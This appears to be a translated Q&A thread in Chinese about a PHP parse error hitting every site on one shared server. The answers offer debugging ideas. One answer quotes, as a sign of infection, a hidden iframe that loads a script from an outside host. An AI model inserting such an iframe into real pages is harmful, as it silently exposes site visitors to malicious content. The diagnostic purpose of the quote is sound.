PHP 输入中有意外字符:'''(ASCII=39)

PHP 输入中有意外字符:'''(ASCII=39)

我的一个朋友的所有网站都出现了这个错误。它们都在同一台服务器上,由外部托管。(托管公司说他们无法帮助解决脚本问题)

每个网站甚至都给出了确切的行号,但它们都使用不同的 Index.php 文件。我有点困惑,以前有人见过这样的事情吗?

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /home/xxxx/public_html/index.php on line 17

Parse error: syntax error, unexpected '.' in /home/xxxx/public_html/index.php on line 17

答案1

根据错误和一些谷歌搜索,看来罪魁祸首可能是一些非常糟糕的文件管理器。

您如何编辑/上传文件至网站?

答案2

我认为您的网站感染了病毒。请检查您的 index.php 文件中是否存在如下代码:

<iframe src="http://2mj.pl:8080/ts/in.cgi?pepsi74" width=125 height=125 style="visibility: hidden"></iframe> 

答案3

这是 PHP 脚本中的语法错误。因此,编写该脚本的人很可能犯了一个错误。但如果不了解错误背景(即不知道该脚本的该部分具体是什么),就不可能确切地知道如何修复它。

顺便说一句,这确实是一个 StackOverflow 类型的问题。

答案4

尝试创建一个只有一行的 index.php 文件;下面的代码可能比较好:

<?php phpinfo() ?>

行,没有 \r 或 \n(也就是说不要在后者“>”后按回车键)。

如果错误仍然存​​在,我认为主机提供商可能添加了自动前置文件指令或类似的东西。如果您的脚本使用了这种(邪恶的)功能,也可能是由于 short_open_tag 造成的。

我认为用一行简单的代码进行调试是一个很好的起点

相关内容